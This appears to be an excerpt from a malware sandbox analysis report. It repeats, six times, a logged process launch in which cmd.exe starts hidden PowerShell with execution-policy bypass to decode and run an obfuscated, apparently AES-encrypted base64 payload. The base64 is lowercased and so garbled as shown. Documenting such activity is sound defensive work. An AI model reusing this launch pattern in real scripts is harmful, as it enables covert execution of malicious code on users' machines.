Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command "[text.encoding]::utf8.getstring([convert]::frombase64string('awv4icgoawv4icgoj2lnsunst1nprlrtrvjwsunfvvbeqvrfu3dyic1nsunst1nprlrtrvjwsunfvvbeqvrfu1vzzujnsunst1nprlrtrvjwsunfvvbeqvrfu2fzawnqtulduk9tt0zuu0vsvkldrvvqrefurvnhcnnpbmcgik1jq1jpu09gvfnfulzjq0vvuerbvevtae1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtde1jq1jpu09gvfnfulzjq0vvuerbvevtce1jq1jpu09gvfnfulzjq0vvuerbvevtc01jq1jpu09gvfnfulzjq0vvuerbvevtoi8vmhhnsunst1nprlrtrvjwsunfvvbeqvrfuzauc3qvtulduk9tt0zuu0vsvkldrvvqrefurvm4s01jq1jpu09gvfnfulzjq0vvuerbvevtdvyuchmxiicplljlcgxhy2uoj01jq1jpu09gvfnfulzjq0vvuerbvevtjywnjykpks5db250zw50kttmdw5jdglvbibrzgf1dcgkcgfyyw1fdmfykxsjjgflc192yxi9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuqwvzxto6q3jlyxrlkck7csrhzxnfdmfylk1vzgu9w1n5c3rlbs5tzwn1cml0es5dcnlwdg9ncmfwahkuq2lwagvytw9kzv06okncqzsjjgflc192yxiuugfkzgluzz1bu3lzdgvtllnly3vyaxr5lknyexb0b2dyyxboes5qywrkaw5ntw9kzv06olblq1m3owkkywvzx3zhci5lzxk9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygntwrnu20vqurpdmu2bwfpr0ivnhvly1nunct5ctlmcdnschratkz4afbsbz0nktsjjgflc192yxiusvy9w1n5c3rlbs5db252zxj0xto6rnjvbujhc2u2nfn0cmluzygnumfncfvzrkg0t1v2l3r0nwowbedwzz09jyk7csrkzwnyexb0b3jfdmfypsrhzxnfdmfylknyzwf0zurly3j5chrvcigpowkkcmv0dxjux3zhcj0kzgvjcnlwdg9yx3zhci5ucmfuc2zvcm1gaw5hbejsb2nrkcrwyxjhbv92yxisidasicrwyxjhbv92yxiutgvuz3roktsjjgrly3j5chrvcl92yxiurglzcg9zzsgpowkkywvzx3zhci5eaxnwb3nlkck7csryzxr1cm5fdmfyo31mdw5jdglvbibpbgd5zsgkcgfyyw1fdmfykxsjsuvyicckanloaxg9tmv3lu9iamvjdcbtexn0zw0usu8utufcq2vtqujdb3jbqkn5u0fcq3ryqujdzwfbqkntkcwkcgfyyw1fdmfyktsnlljlcgxhy2uoj0fcqycsiccnktsjsuvyicckynjlz3c9tmv3lu9iamvjdcbtexn0zw0usu8uqujdtufcq2vbqkntqujdb0fcq3jbqkn5qujdu0fcq3rbqknyqujdzufcq2fbqkntqujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyr2d3rzdz1ozxctt2jqzwn0ifn5c3rlbs5jty5dqujdb21bqknwckfcq2vbqknzc0fcq2lvqujdbi5bqknhwkfcq2lwqujdu3rbqknyzufcq2ftqujdkcrqewhpecwgw0lplknbqknvbufcq3byqujdzxnbqknzaufcq29uqujdlknvqujdbxbbqknyzufcq3nzqujdaufcq29bqknuqujdtw9kzv06okrbqknlqujdy0fcq29tcefcq3jlqujdc3mpoycuumvwbgfjzsgnqujdjywgjycpowkkdnd0c3cuq29wevrvkcricmvndyk7csr2d3rzdy5eaxnwb3nlkck7csrqewhpec5eaxnwb3nlkck7csricmvndy5eaxnwb3nlkck7csricmvndy5ub0fycmf5kck7fwz1bmn0aw9uihpnd3d3kcrwyxjhbv92yxisjhbhcmftml92yxipewljrvggjyriewf3ad1bu3lzdgvtlljbqknlqujdzmxbqknly3rbqknpb0fcq24uqujdqxnbqknzzufcq21iqujdbefcq3lbqkndojpmqujdb0fcq2fbqknkqujdkftiexrlw11djhbhcmftx3zhcik7jy5szxbsywnlkcdbqkmnlcanjyk7culfwcanjgvhyxnzpsriewf3ac5bqknfqujdbkfcq3rbqknyqujdeufcq1bbqknvqujdaufcq25bqkn0qujdoycuumvwbgfjzsgnqujdjywgjycpowljrvggjyrlywfzcy5bqknjqujdbkfcq3zbqknvqujda0fcq2vbqkmojg51bgwsicrwyxjhbtjfdmfyktsnlljlcgxhy2uoj0fcqycsiccnktt9jgdzzia9icrlbny6vvnfuk5btuu7jhbndndsid0gj0m6xfvzzxjzxccgkyakz3nmicsgj0fcq1xbqknkqujdd0fcq21bqkmuqujdykfcq2fbqkn0qujdjy5szxbsywnlkcdbqkmnlcanjyk7jghvc3quvukuumf3vukuv2luzg93vgl0bgugpsakcgd2d2w7jgntdgt0pvttexn0zw0usu8urmlszv06oigndhhlvgxsqwrhzvinwy0xli4tmtfdic1qb2luiccnksg	Jump to behavior
